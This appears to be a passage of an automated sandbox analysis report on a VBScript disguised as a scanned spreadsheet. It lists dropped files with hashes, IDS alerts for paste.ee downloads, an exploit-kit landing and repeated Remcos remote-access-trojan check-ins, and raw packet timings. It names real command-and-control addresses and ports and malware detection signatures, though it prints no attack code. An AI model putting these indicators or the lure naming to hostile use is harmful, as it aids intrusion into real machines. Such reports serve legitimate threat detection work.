C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.728944119173072
Encrypted:	false
SSDEEP:	48:K+DrlAtYf3CyGU2UphukvhkvklCywn0v+xLlHJZSogZoXUv+xLlLZSogZo71:njf3C0TGkvhkvCCt0WxLMHfWxLaHY
MD5:	DA76809664DC3216A3E66BCBC985C45E
SHA1:	DF54E7B02258490AFC5A740FADDF898247F6967D
SHA-256:	932D1EAB4DADE9F6E097BD16C29EE03E8FC93345D0D5941918F2C5817C1500F1
SHA-512:	BDDB4D1FD32D9B06F4D1D584F3C8A2FD4C010BCB3625331F1751CFBB2524C8D87493055D92EAF851BA4BA0A418A1B1BCBD80E00C7C5B01C94B88B4C7F1CCE5BC
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S.....;.e.......e.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2CY.;...........................^.A.p.p.D.a.t.a...B.V.1.....CY\|;..Roaming.@......EW<2CY\|;..../...................... ..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2CYy;....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2CYy;....2......................0#.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2CYy;....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2CYy;....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF59e29e.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.728944119173072
Encrypted:	false
SSDEEP:	48:K+DrlAtYf3CyGU2UphukvhkvklCywn0v+xLlHJZSogZoXUv+xLlLZSogZo71:njf3C0TGkvhkvCCt0WxLMHfWxLaHY
MD5:	DA76809664DC3216A3E66BCBC985C45E
SHA1:	DF54E7B02258490AFC5A740FADDF898247F6967D
SHA-256:	932D1EAB4DADE9F6E097BD16C29EE03E8FC93345D0D5941918F2C5817C1500F1
SHA-512:	BDDB4D1FD32D9B06F4D1D584F3C8A2FD4C010BCB3625331F1751CFBB2524C8D87493055D92EAF851BA4BA0A418A1B1BCBD80E00C7C5B01C94B88B4C7F1CCE5BC
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S.....;.e.......e.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2CY.;...........................^.A.p.p.D.a.t.a...B.V.1.....CY\|;..Roaming.@......EW<2CY\|;..../...................... ..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2CYy;....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2CYy;....2......................0#.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2CYy;....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2CYy;....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF59ff5e.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.728944119173072
Encrypted:	false
SSDEEP:	48:K+DrlAtYf3CyGU2UphukvhkvklCywn0v+xLlHJZSogZoXUv+xLlLZSogZo71:njf3C0TGkvhkvCCt0WxLMHfWxLaHY
MD5:	DA76809664DC3216A3E66BCBC985C45E
SHA1:	DF54E7B02258490AFC5A740FADDF898247F6967D
SHA-256:	932D1EAB4DADE9F6E097BD16C29EE03E8FC93345D0D5941918F2C5817C1500F1
SHA-512:	BDDB4D1FD32D9B06F4D1D584F3C8A2FD4C010BCB3625331F1751CFBB2524C8D87493055D92EAF851BA4BA0A418A1B1BCBD80E00C7C5B01C94B88B4C7F1CCE5BC
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S.....;.e.......e.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2CY.;...........................^.A.p.p.D.a.t.a...B.V.1.....CY\|;..Roaming.@......EW<2CY\|;..../...................... ..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2CYy;....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2CYy;....2......................0#.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2CYy;....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2CYy;....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9ZB6AP7T5JPLHVE0MPFL.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.728944119173072
Encrypted:	false
SSDEEP:	48:K+DrlAtYf3CyGU2UphukvhkvklCywn0v+xLlHJZSogZoXUv+xLlLZSogZo71:njf3C0TGkvhkvCCt0WxLMHfWxLaHY
MD5:	DA76809664DC3216A3E66BCBC985C45E
SHA1:	DF54E7B02258490AFC5A740FADDF898247F6967D
SHA-256:	932D1EAB4DADE9F6E097BD16C29EE03E8FC93345D0D5941918F2C5817C1500F1
SHA-512:	BDDB4D1FD32D9B06F4D1D584F3C8A2FD4C010BCB3625331F1751CFBB2524C8D87493055D92EAF851BA4BA0A418A1B1BCBD80E00C7C5B01C94B88B4C7F1CCE5BC
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S.....;.e.......e.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2CY.;...........................^.A.p.p.D.a.t.a...B.V.1.....CY\|;..Roaming.@......EW<2CY\|;..../...................... ..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2CYy;....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2CYy;....2......................0#.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2CYy;....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2CYy;....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EQE4R152POI5BP6PSOXQ.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7283641905307636
Encrypted:	false
SSDEEP:	48:v5jDrlAtYf3CyGU2kDhukvhkvklCywn0v+xLlLZSogZoXUv+xLlLZSogZo71:vdjf3C0nMkvhkvCCt0WxLaHfWxLaHY
MD5:	80F1E81DEDFC65944A9FFDCF948DB96E
SHA1:	8BCDBEF4A597E07ABCD804EA122346F35C76C056
SHA-256:	2F96E3E0FB00CB5F9BBFBB83795AF27B306090C63579104472E672D4FFDED520
SHA-512:	CD04AE932581F208315B5C0CDE35F27D316E698963C3B1D75E291D1F0654EE97318ECBFBB6CF80E4AC668297522879F8FEBE44FF75C58EA103240EDCA8D65FE4
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S....@..e...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S.....;.e....z4.e.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2CY.;...........................^.A.p.p.D.a.t.a...B.V.1.....CY\|;..Roaming.@......EW<2CY\|;..../...................... ..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2CYy;....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2CYy;....2......................0#.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2CYy;....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2CYy;....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2CY.;....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2CY.;....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EYVYE2PL7JSJ5UM1S0CP.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7287587846258963
Encrypted:	false
SSDEEP:	48:v5jDrlAtYf3CyGU2kDhukvhkvklCywn0v+xLlLZSogZoXUv+xLlLZSogZo71:v1jf3C0nMkvhkvCCt0WxLaHfWxLaHY
MD5:	F6251D80387BE0C30B3F6BECA8BDC298
SHA1:	AC92704641DF5A8B8339A2A8CE7A65DF9A9D5E8C
SHA-256:	E53BE53663DDB58AE47FA4A854476FEA764041CE0968917E0E83D07A02E25CD3
SHA-512:	8F7FB2AD9E3A0DA74C15FF29C8CF075938C704ECF2E900CAA7C9F6DB86B028708977BB6F2B398F8BC2865DAFF1B91CB44B24C0F3AA0D7D18CB626F20090CB366
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S....@..e...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S.....;.e.......e.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2CY.;...........................^.A.p.p.D.a.t.a...B.V.1.....CY\|;..Roaming.@......EW<2CY\|;..../...................... ..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2CYy;....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2CYy;....2......................0#.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2CYy;....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2CYy;....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2CY.;....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2CY.;....u...........

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.493842135590996
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	SKMBT_77122012816310TD0128_17311_XLS.vbs
File size:	605'916 bytes
MD5:	9b36a3c24abb6bc8694e48e0c101c416
SHA1:	6fd1c1c65d63f349734f2efcce64c88b3efd5e45
SHA256:	7d9aaab519a7c1247963967a928107516c36dae564a31c230dcc2ba6c9cb6b15
SHA512:	e22e5725ff50239c8df0ea9010ea389bdd79392dbcf01d65c9af5a32fd0084f501db879fcee5dfee0a2d02c9626d7d8f61abb240189d9fcf6ae00b1602298f64
SSDEEP:	1536:rcccccccccccccccccq99999999999999999999999999999999999999999999n:J
TLSH:	48D4C04627EA5A08B1B36F04AD7640745B6B3D1E9EBDC29C418DA85E1FF3910C861BF3
File Content Preview:	..........'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'. .m.e.x.i.c.a.n.o. .'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'. .........'. .P.r.i.n.t. .u.s.a.g.e. .b.a.S.T.o.....'.............'. .I.n.s.t.a.l.l. .P.r.o.v.i.d.e.r.s.................'. .U.n.i.n.s.t.a

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T09:28:12.500205+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.6	49713	188.114.97.3	443	TCP
2024-10-03T09:28:18.472783+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49717	188.114.97.3	443	TCP
2024-10-03T09:28:18.472783+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.6	49717	188.114.97.3	443	TCP
2024-10-03T09:28:19.798901+0200	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	1	173.231.247.100	443	192.168.2.6	49719	TCP
2024-10-03T09:28:19.798901+0200	2020425	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1	1	173.231.247.100	443	192.168.2.6	49719	TCP
2024-10-03T09:28:22.004816+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49722	188.114.97.3	443	TCP
2024-10-03T09:28:22.004816+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.6	49722	188.114.97.3	443	TCP
2024-10-03T09:28:24.687917+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49725	212.162.149.163	2404	TCP
2024-10-03T09:28:27.202095+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49726	212.162.149.163	2404	TCP
2024-10-03T09:28:29.719551+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49729	212.162.149.163	2404	TCP
2024-10-03T09:28:32.237386+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49730	212.162.149.163	2404	TCP
2024-10-03T09:28:34.741502+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49731	212.162.149.163	2404	TCP
2024-10-03T09:28:37.263282+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49733	212.162.149.163	2404	TCP
2024-10-03T09:28:39.737467+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49734	212.162.149.163	2404	TCP
2024-10-03T09:28:42.259851+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49735	212.162.149.163	2404	TCP
2024-10-03T09:28:44.783981+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49736	212.162.149.163	2404	TCP
2024-10-03T09:28:47.323437+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49737	212.162.149.163	2404	TCP
2024-10-03T09:28:49.811942+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49739	212.162.149.163	2404	TCP
2024-10-03T09:28:52.327187+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49740	212.162.149.163	2404	TCP
2024-10-03T09:28:54.811710+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49741	212.162.149.163	2404	TCP
2024-10-03T09:28:57.327488+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49743	212.162.149.163	2404	TCP
2024-10-03T09:28:59.820733+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49744	212.162.149.163	2404	TCP
2024-10-03T09:29:02.359457+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49745	212.162.149.163	2404	TCP
2024-10-03T09:29:05.060314+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49746	212.162.149.163	2404	TCP
2024-10-03T09:29:07.515008+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49747	212.162.149.163	2404	TCP
2024-10-03T09:29:10.000254+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49748	212.162.149.163	2404	TCP
2024-10-03T09:29:12.471874+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49749	212.162.149.163	2404	TCP
2024-10-03T09:29:14.936735+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49750	212.162.149.163	2404	TCP
2024-10-03T09:29:17.407502+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49751	212.162.149.163	2404	TCP
2024-10-03T09:29:20.092592+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49753	212.162.149.163	2404	TCP
2024-10-03T09:29:22.827305+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49754	212.162.149.163	2404	TCP
2024-10-03T09:29:25.344002+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49755	212.162.149.163	2404	TCP
2024-10-03T09:29:27.843037+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49756	212.162.149.163	2404	TCP
2024-10-03T09:29:30.326918+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49757	212.162.149.163	2404	TCP
2024-10-03T09:29:32.828638+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49758	212.162.149.163	2404	TCP
2024-10-03T09:29:35.280034+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49759	212.162.149.163	2404	TCP
2024-10-03T09:29:37.799854+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49760	212.162.149.163	2404	TCP
2024-10-03T09:29:40.301582+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49761	212.162.149.163	2404	TCP
2024-10-03T09:29:42.814455+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49762	212.162.149.163	2404	TCP
2024-10-03T09:29:45.358366+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49763	212.162.149.163	2404	TCP
2024-10-03T09:29:47.811790+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49764	212.162.149.163	2404	TCP
2024-10-03T09:29:50.284883+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49765	212.162.149.163	2404	TCP
2024-10-03T09:29:52.720677+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49766	212.162.149.163	2404	TCP
2024-10-03T09:29:55.092566+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49767	212.162.149.163	2404	TCP
2024-10-03T09:29:57.420650+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49769	212.162.149.163	2404	TCP
2024-10-03T09:29:59.923538+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49770	212.162.149.163	2404	TCP
2024-10-03T09:30:02.330484+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49771	212.162.149.163	2404	TCP
2024-10-03T09:30:04.608519+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49772	212.162.149.163	2404	TCP
2024-10-03T09:30:06.843533+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49773	212.162.149.163	2404	TCP
2024-10-03T09:30:09.080687+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49774	212.162.149.163	2404	TCP
2024-10-03T09:30:09.446203+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49774	212.162.149.163	2404	TCP
2024-10-03T09:30:12.762607+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49775	212.162.149.163	2404	TCP
2024-10-03T09:30:15.640291+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.6	49776	212.162.149.163	2404	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 09:28:08.891669989 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:08.896445990 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:08.896521091 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:09.531840086 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:09.532802105 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:09.537705898 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:09.761440039 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:09.761626005 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:09.766535044 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:09.999851942 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:10.000066996 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:10.004821062 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:10.227607965 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:10.227845907 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:10.232769966 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:10.455776930 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:10.455993891 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:10.460851908 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:10.683629036 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:10.683801889 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:10.688628912 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:10.912352085 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:10.914901018 CEST	49712	60575	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:10.919806957 CEST	60575	49712	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:10.919882059 CEST	49712	60575	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:10.919930935 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:10.924963951 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:11.149014950 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:11.196043968 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:11.544876099 CEST	60575	49712	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:11.545053959 CEST	60575	49712	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:11.545134068 CEST	49712	60575	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:11.545571089 CEST	21	49711	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:11.549118996 CEST	49712	60575	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:11.553966045 CEST	60575	49712	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:11.586855888 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:11.608588934 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:11.608624935 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:11.608684063 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:11.646555901 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:11.646579027 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.109671116 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.109818935 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.112806082 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.112823009 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.113068104 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.139806986 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.183404922 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.500199080 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.500251055 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.500277042 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.500340939 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.500360012 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.500436068 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.560185909 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.560271978 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.560306072 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.560326099 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.560349941 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.560395956 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.560401917 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.560561895 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.560643911 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.560651064 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.587677956 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.587717056 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.587745905 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.587770939 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.587769032 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.587794065 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.587833881 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.587833881 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.587841988 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.588444948 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.588522911 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.588558912 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.588568926 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.588812113 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.647597075 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.647752047 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.647820950 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.647836924 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.647864103 CEST	443	49713	188.114.97.3	192.168.2.6
